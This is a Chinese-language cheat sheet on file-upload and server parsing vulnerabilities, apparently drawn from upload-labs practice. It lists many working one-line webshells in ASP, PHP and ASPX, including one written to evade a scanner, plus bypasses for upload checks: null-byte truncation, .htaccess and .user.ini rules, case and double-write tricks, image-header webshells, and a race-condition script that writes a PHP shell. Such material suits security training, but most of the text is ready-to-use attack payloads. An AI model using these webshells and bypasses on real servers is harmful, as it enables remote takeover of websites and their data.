文件上传漏洞,解析漏洞总结
文件上传漏洞、解析漏洞总结
1.文件上传漏洞是什么
文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。常见场景是web服务器允许用户上传图片或者普通文本文件保存,而用户绕过上传机制上传恶意代码并执行从而控制服务器。显然这种漏洞是getshell最快最直接的方法之一,需要说明的是上传文件操作本身是没有问题的,问题在于文件上传到服务器后,服务器怎么处理和解释文件。
文件上传漏洞是指用户上传了一个可执行脚本文件,并通过此文件获得了执行服器端命令的能力。在大多数情况下,文件上传漏洞一般是指上传 WEB 脚本能够被服务器解析的问题,也就是所谓的 webshell 问题。完成这一攻击需要这样几个条件,一是上传的文件能够这 WEB 容器执行,其次用户能从 WEB 上访问这个文件,最后,如果上传的文件被安全检查、格式化、图片压缩等功能改变了内容,则可能导致攻击失败。
解析漏洞是什么?
解析漏洞是指服务器应用程序在解析某些精心构造的后缀文件时,会将其解析成网页脚本,从而导致网站的沦陷。大部分解析漏洞的产生都是由应用程序本身的漏洞导致的。
1.1常见的一句话木马
asp一句话木马:
<%execute(request("value"))%>
php一句话木马:
<?php @eval($_POST[value]);?>
aspx一句话木马:
<%@ Page Language="Jscript"%>
<%eval(Request.Item["value"])%>
其他一句话木马:
<%eval request("value")%>
<%execute request("value")%>
<%execute(request("value"))%>
<%If Request("value")<>"" Then Execute(Request("value"))%>
<%if request ("value")<>""then session("value")=request("value"):end if:if session("value")<>"" then execute session("value")%>
<SCRIPT language=VBScript runat="server">execute request("value")</SCRIPT>
<%@ Page Language="Jscript"%>
<%eval(Request.Item["value"],"unsafe");%>
可以躲过雷客图的一句话木马:
<%
set ms = server.CreateObject("MSScriptControl.ScriptControl.1")
ms.Language="VBScript"
ms.AddObject "Response", Response
ms.AddObject "request", request
ms.ExecuteStatement("ev"&"al(request(""value""))")
%>
不用'<,>'的asp一句话木马:
<script language=VBScript runat=server>execute request("value")</script>
不用双引号的一句话木马:
<%eval request(chr(35))%>
1.2解读php一句话木马
1.3获得webshell常用工具
https://blog.csdn.net/qq_41739364/article/details/100852308
2常见校验上传文件的方法
2.1客户端校验(前端校验)
1.通过JavaScript来校验上传文件的后缀名是否合法,可以采用白名单,也可以采用黑名的方式
2.判断方法:在点击上传按钮的时候弹出对话框如下图所示,而此时并没有发送数据包
2.2服务端检验-白名单
2.2.1检查http请求头content-type字段,MIME文件类型
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif'))
2.2.2%00截断-get用法
%00截断的使用条件:
php版本必须小于5.3.4
并且php.ini中的magic_quotes_gpc设置为Off
原理是:php的一些函数的底层是C语言,而move_uploaded_file就是其中之一,遇到0x00会截断,0x表示16进制,URL中%00解码成16进制就是0x00。
在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束
0x开头表示16进制,0在十六进制中是00, 0x00就是%00解码成的16进制
www.123.com/imbrave.php%00.jpg => www.123.com/imbrave.php
.jpg就会被解析为.php从而getwebshell
2.2.3%00截断-post用法
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
}
为什么修改path才可以?
因为程序中检测的是文件的后缀名,如果后缀合法则拼接路径和文件名。
那么,攻击者修改了path以后的拼接结果为:uploads/aaa.php%00/20190818.php
移动文件的时候会将文件保存为:uploads/aaa.php
从而getwebshell
+的URL编码的16进制 为2b,将2b改为00即可
2.3服务端检验-黑名单
2.3.1上传特殊后缀可解析的
一些特殊后缀
php:php3、php4、php5、php7、phtml
jsp:jspx、jspf
asp:asa、cer
apache里有个一个配置文件httpd.conf他可以允许一些特殊后缀名上传,最终都会被解析成php执行如:
AddType application/x-httpd-php .php .phtml.php3.php4.php7 等等
2.3.2上传.htaccess文件
.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设
置。 概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:
网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
根据以上内容,假如我们自定义一个规则,并让服务器运行我们定义的规则,便可绕过上传限制
hatccess写法一
AddType application/x-httpd-php .后缀名
创建相同后缀名的一句话木马,作用就是会让这个后缀名变成php代码执行
hatccess写法二
# FileMatch 参数即为文件名的正则匹配
<FilesMatch "xxxx">
SetHandler application/x-httpd-php
</FilesMatch>
2.3.3大小写饶过
strtolower()如果没用存在这个函数就如使用大小饶过如:
imbrave.PHP .Php .PHp 等等
2.3.4双写饶过
str_ireplace(find,replace,string,count)
find 必需。规定要查找的值。
replace 必需。规定替换 find 中的值的值。
string 必需。规定被搜索的字符串。
count 可选。一个变量,对替换数进行计数。
str_ireplace(php,"",pphphp)通常出现这个函数往往只会替换一次
pphphp 这样就会进行双写饶过 p php hp =》 中的php被替换 剩下p hp =》php
2.3.5点号饶过,空格饶过和::$DATA饶过
.
windows有一个特性,会自动去掉后缀名最后的‘.’
或者是不存在deldot($file_name);//删除文件名末尾的点
空格
windows有一个特性,会自动去掉后缀名最后的空格
或者是不存在trim($file_name);//删除文件空格
::$DATA
操作系统必须windows且是php,中间件都可以
php在windows的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名.且保持"::$DATA"之前的文件名
3.解析漏洞
3.1apache服务器
3.1.1apache服务器-多后缀解析漏洞
在Apache 2.0.x <= 2.0.59,Apache 2.2.x <= 2.2.17,Apache 2.2.2 <= 2.2.8中Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。
如1.php.abc,因apache不识别.abc后缀,所以向前解析php
1.php.abc => 1.php
test.php.owf.rar解析成test.php
3.1.2apache服务器-CVE-2017-15715
Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0a将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。
如:
1.php\x0a => 1.php
复现漏洞,这边在dockerhub拉了一个镜像,代码比较简单过滤一些后缀
<body>
<form action="" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="text" name="name">
<input type="submit" value="submit">
</form>
</body>
</html>
<?php
if (isset($_FILES['file'])) {
$name = basename($_POST['name']);
$ext = pathinfo($name, PATHINFO_EXTENSION);
if (in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'])) {
exit('bad file');
}
move_uploaded_file($_FILES['file']['tmp_name'], './' . $name);
} ?>
上传
可以看到这里获取文件名是需要单独post一个name的,因为如果通过$_FILES['file']['name']
获取文件名的话,会把\x0a自动去除,所以$_FILES['file']['name']
这种方式获取文件名就不会造成这个漏洞
所有只能自己在bp中添加
打开hex,点击insert byte,放包成功上传
成功getshell,换行了
如果请求的url参数带有%0d%0a , 在servlet里得到包含这个字段的string时, %0d%0a 会被转义为回车
3.2nginx服务器
3.2.1nginx服务器-.user.ini
当使用CGI/FastCGI 来解析php时,php会优先搜索目录下所有的.ini文件,并应用其中的配置。类似于apache的.htaccess,但语法与.htacces不同,语法php.ini一致。因nginx实际上只是起到转发的作用,实际解析一般为php-fpm或fastcgi来解析,所以在.user.ini中写如auto_prepend_file=test.jpg,之后传.user.initest.jpg,过一段时间等待.user.ini被加载后,会导致每个php文件解析之前先将test.jpg当作php解析
.user.ini的写法
auto_prepend_file=test.指定后缀
3.2.2nginx服务器-CVE-2013-4547
即上传一个1.gif,然后访问1.gif[0x20][0x00].php([0x20][0x00]为空格和\0不需要url编码),1.gif会被当作php解析
3.2.3IIS 7.0 && nginx<8.03服务器-php-cgi畸形解析漏洞
漏洞原理: Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过正则匹配。当访问www.xx.com/phpinfo.jpg/1.php这个URL时,$fastcgi script_ name会被设置为" phpinfo.jpg/1.php",,然后构造成SCRIPT_ FILENAME传递给PHP CGI,如果开启了fix_ pathinfo这 个选项,那么就会触
发在PHP中的如下逻辑: PHP会认为SCRIPT FILENAME是phpinfojpg,而1.php是PATH_ INFO, 所以就会将phpinfo.jpg作为PHP文件解析。
已测试存在版本:
Nginx 0.5.
Nginx 0.6.
Nginx 0.7 <= 0.7.65
Nginx 0.8 <= 0.8.37
在php配置文件中,开启了cgi.fix_pathinfo,导致图片马1.jpg可以通过访问1.jpg/.php解析成php
3.3iis服务器
3.3.1iis 5.x/6.0解析漏洞-目录解析漏洞 /xx.asp/xx.jpg
在网站下创建文件夹名字为.asp、.asa的文件夹,其目录内的任何扩展名的文件都被iis当做asp文件来解析 并执行。因此只要攻击者可以通过该漏洞直接上传图片马,并且可以不需要改后缀名!
3.3.2iis 5.x/6.0解析漏洞-文件解析 xx.asp;.jpg
在iis6.0下,分号后面的不被解析,所以xx.asp;.jpg被解析为asp脚本得以执行。
3.3.3iis 5.x/6.0解析漏洞-文件类型解析 asa/cer/cdx
iis6.0 默认的可执行文件除了asp还包含这三种asa、cer、cdx
4检查内容
4.1文件头检查
4.1.1制作图片马
三种常见图片开头名
JPG:FFD8FFEO00104A464946
GIF: 47 49 46 38 39 61 (GIF89a)
PNG: 89 50 4E 47
具体参考https://blog.csdn.net/xiangshangbashaonian/article/details/80156865
两种方式:1.找到正常格式的图片尽量找小的,制作图片马,或直接用记事本图片最后加上一句话木马
copy 1.jpg/png/gif/b + 1.php 新文件名
1.php
<?php @eval(@_POST['x']); ?>
4.1.2直接加上文件头
直接在一句话木马前加上文件头来通过检查如:
GIF89a
<?php @eval(@_POST['x']); ?>
4.2突破函数
4.2.1getimagesize()
getimagesize(string $filename [,array &$imageinfo])//获取图像信息,返回一个数组
/*
返回的数组中,索引0:图像宽度像素值
索引1:图像高度像素值
索引2:图像类型,1=GIF,2=JPG,3=PNG,4=SWF,5=PSD,6=BMP,7=TIFF_II,8=TIFF_MM,9=JPC,10=JP2,11=JPX,12=JB2,13=SWC,14=IFF,15=WBMP,16=XBM,17=ICO,18=COUNT
索引3:图像宽度和高度的字符串
索引bits:图像的每种颜色的位数,二进制格式
索引channels:图像的通道值
索引mime:图像的MIME信息
*/
同样可以修改文件头饶过,但是不会只是验证文件头的前两位
4.2.2exif_imagetype()
此函数需要开启php_exif模块,传图片马一般就可以饶过
exif_imagetype() 读取一个图像的第一个字节并检查其签名。
4.3二次渲染
验证过程:判断后缀与MIME类型是否符合要求,符合后生成新图像(内容不正确会失败,返回false,相当于多了一次验证),生成新图像失败就unlink
删除,成功就根据系统时间给文件命名,再通过imagejpeg
类似函数使用原图像资源创建新图像(二次渲染)。相关函数说明:
basename(string $path [,string $suffix]) //返回路径中的文件名部分
imagecreatefromjpeg(string $filename)
imagecreatefrompng(string $filename)
imagecreatefromgif(string $filename) //由文件或URL创建一个新图像,内容不对则失败返回false,成功后返回图像资源
srand([int $seed ]) //用seed播下随机数发生器种子
strval(mixed $var) //返回字符串类型的var
imagejpeg(resource $image [,string $filename [,int $quality]])//从image图像以filename为文件名创建一个JPEG图像
imagepng(resource $image [,string $filename]) //从 image 图像以filename为文件名创建一个PNG图像或文件
imagegif(resource $image [,string $filename]) //从 image 图像以filename为文件名创建一个GIF图像或文件
解法:用winhex找到二次渲染后没有改变的地方加上一句话即可
传送门:https://xz.aliyun.com/t/2657#toc-2
4.4条件竞争
验证过程:服务器先将上传的文件保存在临时目录中,然后再对后缀名进行白名单验证,并重命名,
rename(string $oldname,string $newname [,resource $context])//把oldname重命名为newname
解法:用burp一直发包,让php程序一直处于移动php文件到上传目录这个阶段代码
执行逻辑:先移动,后检测,不符合再删除,符合则改名字
写一个php
不断上传文件,在文件还没被删除前去读取文件,则还没被删除前去读取文件,解析之后会写入一个内容为``的shell.php
文件
注:"pass"
一定要双引号,不然单引号之间乱了。
<?PHP echo md5(1);fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"])?>');?>
出现ok代表成功上传了
import requests
def main():
i=0
while 1:
try:
print(i,end='\r')
a = requests.get("http://127.0.0.1/upload-labs-master/upload/18pass.php")
if "c4ca4238a0b923820dcc509a6f75849b" in a.text:
print("OK")
break
except Exception as e:
pass
i+=1
if __name__ == '__main__':
main()